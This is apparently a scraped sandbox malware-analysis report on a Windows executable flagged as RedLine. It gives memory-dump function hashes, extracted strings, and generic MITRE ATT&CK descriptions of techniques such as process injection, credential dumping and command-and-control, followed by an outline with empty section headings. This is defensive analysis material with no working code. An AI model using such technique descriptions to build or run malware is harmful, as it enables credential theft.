Opcode ID: 11fdbddd815824cf39c937f1777104de116afe73ff76a8affc319b798fe7e8c0
Instruction ID: ee52ff538b631328c63081efd45ef635bdd5b95523940d59352d72b338087a6f
Opcode Fuzzy Hash: 11fdbddd815824cf39c937f1777104de116afe73ff76a8affc319b798fe7e8c0
Instruction Fuzzy Hash: 691281B0401F45CEE330CF65E94C6C93BB1B785328B606219D275AB6E1D7B8598BCF98

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E0448, Relevance: 15.3, Strings: 12, Instructions: 345COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E076D
D`, xrefs: 0A7E04C7
D`, xrefs: 0A7E04EA
D`, xrefs: 0A7E04B7
D`, xrefs: 0A7E0520
D`, xrefs: 0A7E0717
D`, xrefs: 0A7E05ED
Lg`, xrefs: 0A7E059F
D`, xrefs: 0A7E068C
D`, xrefs: 0A7E067C
D`, xrefs: 0A7E04FA
D`, xrefs: 0A7E0733

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: Lg`$D`$D`$D`$D`$D`$D`$D`$D`$D`$D`$D`
API String ID: 0-3600484027
Opcode ID: 9dee288b296401290b36968b3f4283d5e56c6fb5114dfdd8b0e687ef639e7e38
Instruction ID: 162b0c6933e750df19d6334a0b762f255c42af051861ce4c3caf1e0fb715e600
Opcode Fuzzy Hash: 9dee288b296401290b36968b3f4283d5e56c6fb5114dfdd8b0e687ef639e7e38
Instruction Fuzzy Hash: F4B1C3317102049FDB24EF6AD454AAB7BEAEFC8214B11C87AE506CB391DBB1CC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E66E8, Relevance: 9.0, Strings: 7, Instructions: 280COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E67EA
,<`, xrefs: 0A7E6A05
D`, xrefs: 0A7E6982
Lg`, xrefs: 0A7E69EE
,<`, xrefs: 0A7E6A15
D`, xrefs: 0A7E67DB
D`, xrefs: 0A7E6991

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: ,<`$,<`$Lg`$D`$D`$D`$D`
API String ID: 0-1528446691
Opcode ID: 63e06ab00573ebc24aa7ab4d9bf731f07b878e46a4d4343bccf8a09ca8842f5b
Instruction ID: 79b0eb6065ac6b43574ec61e82c27bbd3e6666a2ad97b6127bf898049ca4e2f9
Opcode Fuzzy Hash: 63e06ab00573ebc24aa7ab4d9bf731f07b878e46a4d4343bccf8a09ca8842f5b
Instruction Fuzzy Hash: AA9184307102418BEB289E36845477F6AEAEFE8A45B15C03E9502CB3C4EF38CC46DB56

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E0840, Relevance: 8.9, Strings: 7, Instructions: 169COMMON

Download Yara Rule

Strings

h$y, xrefs: 0A7E0B79
D`, xrefs: 0A7E09A2
)y, xrefs: 0A7E0C7E
h'y, xrefs: 0A7E0C1B
p"l, xrefs: 0A7E0ECF
)y, xrefs: 0A7E0C60
\&y, xrefs: 0A7E0C01

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: )y$ )y$\&y$h$y$h'y$D`$p"l
API String ID: 0-320135239
Opcode ID: 7ff3c32b36164ce602d179592e5e45451f290eb91265e228a5a0db24df4c9bc1
Instruction ID: 1ed0f6781657ca547c5e3fe29e4c101439ef7414a4b3d02c7995dd2607db221b
Opcode Fuzzy Hash: 7ff3c32b36164ce602d179592e5e45451f290eb91265e228a5a0db24df4c9bc1
Instruction Fuzzy Hash: BE51D330B942459FEB24DEB5849467B7AB2EF8C206F15C939C542C7254DBB0DC8BCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E6138, Relevance: 7.6, Strings: 6, Instructions: 112COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E6235
D`, xrefs: 0A7E6188
D`, xrefs: 0A7E616E
D`, xrefs: 0A7E6160
D`, xrefs: 0A7E624A
D`, xrefs: 0A7E625F

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: D`$D`$D`$D`$D`$D`
API String ID: 0-3201260416
Opcode ID: 1f2b24fd615ff1845c882000ea6f06deafe24bd48604a3fbba848e416acac778
Instruction ID: 206d4f6601a07b53160bac1dffb673f60b5e04270f50865c052923000a7d53ad
Opcode Fuzzy Hash: 1f2b24fd615ff1845c882000ea6f06deafe24bd48604a3fbba848e416acac778
Instruction Fuzzy Hash: 19312634714284CFD766EFA99050AA23FA5DFA6210F0684D6E102CF2E3CA35DC88C754

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E65F0, Relevance: 7.6, Strings: 6, Instructions: 54COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E6647
D`, xrefs: 0A7E6624
t8`, xrefs: 0A7E6665
D`, xrefs: 0A7E6639
D`, xrefs: 0A7E6616
D`, xrefs: 0A7E6606

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: t8`$D`$D`$D`$D`$D`
API String ID: 0-922299768
Opcode ID: 34553bd46cbb299ea9251ff6b1a8af5d9b55c85356c9d0fa644fec98af66e6c4
Instruction ID: 02c9073a52ddd6cf9585e293445d8d8d9e954a2866fee92b70e81f5509149ca5
Opcode Fuzzy Hash: 34553bd46cbb299ea9251ff6b1a8af5d9b55c85356c9d0fa644fec98af66e6c4
Instruction Fuzzy Hash: B801D811B341555F9778BBBF5020AF725DB8FE8950B0784675202CB2D5ED98CC44C3B5

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E3FA0, Relevance: 6.5, Strings: 5, Instructions: 229COMMON

Download Yara Rule

Strings

xEy, xrefs: 0A7E422E
(pl, xrefs: 0A7E40C0
(pl, xrefs: 0A7E408D
t%ll, xrefs: 0A7E41FF
t%ll, xrefs: 0A7E41F5

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: (pl$(pl$t%ll$t%ll$xEy
API String ID: 0-2482188797
Opcode ID: 3be02172d39db4c502d7254794fd0de2df5905b6f8addb36b21aad9d47a78b97
Instruction ID: 96fcebd94423f2812e7f8779b1309a38c886b47ef576520290f03cb0642cceef
Opcode Fuzzy Hash: 3be02172d39db4c502d7254794fd0de2df5905b6f8addb36b21aad9d47a78b97
Instruction Fuzzy Hash: D1A15C74A002048FDB54DF68C488BA9BBF6EF88314F16C4A9D5099F365DB32EC84CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E9AB8, Relevance: 6.4, Strings: 5, Instructions: 164COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7E9B0C
D`, xrefs: 0A7E9B2C
D`, xrefs: 0A7E9AEA
D`, xrefs: 0A7E9AF8
D`, xrefs: 0A7E9ACA

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: D`$D`$D`$D`$D`
API String ID: 0-1062154539
Opcode ID: e9e881c0dbfefc9edf51d837d36a1c09eb78836e1e9fa01d44b63866d3f3d9e9
Instruction ID: 2cf395bd0589eee7a9b61ff1a9a52e119e089b192cd79aa1f7ddc8f3c7972c4c
Opcode Fuzzy Hash: e9e881c0dbfefc9edf51d837d36a1c09eb78836e1e9fa01d44b63866d3f3d9e9
Instruction Fuzzy Hash: 6E51C232A003559FDB35EF35D844A9BFBF6EF89214F1588A9D64687252D730EC88CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0A7EE068, Relevance: 5.2, Strings: 4, Instructions: 169COMMON

Download Yara Rule

Strings

D`, xrefs: 0A7EE12F
D`, xrefs: 0A7EE219
D`, xrefs: 0A7EE23B
D`, xrefs: 0A7EE118

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: D`$D`$D`$D`
API String ID: 0-1365573698
Opcode ID: 04b79090dae9a81ffe3e8009a53bc9513bea0c363803f08074ee7cd9af082590
Instruction ID: 42439b94e842f5f21590aaf7eff2abe67339c9c63f3dc8e9e2282d5464e6674a
Opcode Fuzzy Hash: 04b79090dae9a81ffe3e8009a53bc9513bea0c363803f08074ee7cd9af082590
Instruction Fuzzy Hash: CC51F630B10205AFD769DFA9C450ABB7BF6AFC8240F15C869D105CB291EB70DC89CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0A7E6BE8, Relevance: 5.1, Strings: 4, Instructions: 72COMMON

Download Yara Rule

Strings

,<`, xrefs: 0A7E6C09
Lg`, xrefs: 0A7E6C48
,<`, xrefs: 0A7E6BF9
Lg`, xrefs: 0A7E6C58

Memory Dump Source

Source File: 00000002.00000002.355600952.000000000A7E0000.00000040.00000001.sdmp, Offset: 0A7E0000, based on PE: false

Similarity

API ID:
String ID: ,<`$,<`$Lg`$Lg`
API String ID: 0-3845761417
Opcode ID: 044ce3832719badd6c7b244b383d482147b5ab328deba23e975719afbf5ce1c0
Instruction ID: 05e2e703b9df7c1c291dd56a4b4e17ef713d2ff93df7c2e77dc6abe907cea9b0
Opcode Fuzzy Hash: 044ce3832719badd6c7b244b383d482147b5ab328deba23e975719afbf5ce1c0
Instruction Fuzzy Hash: 831127323101005BD3249A7BA954A7B7ADFEFEC940B05C42EE506C7394EF64EC468766

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers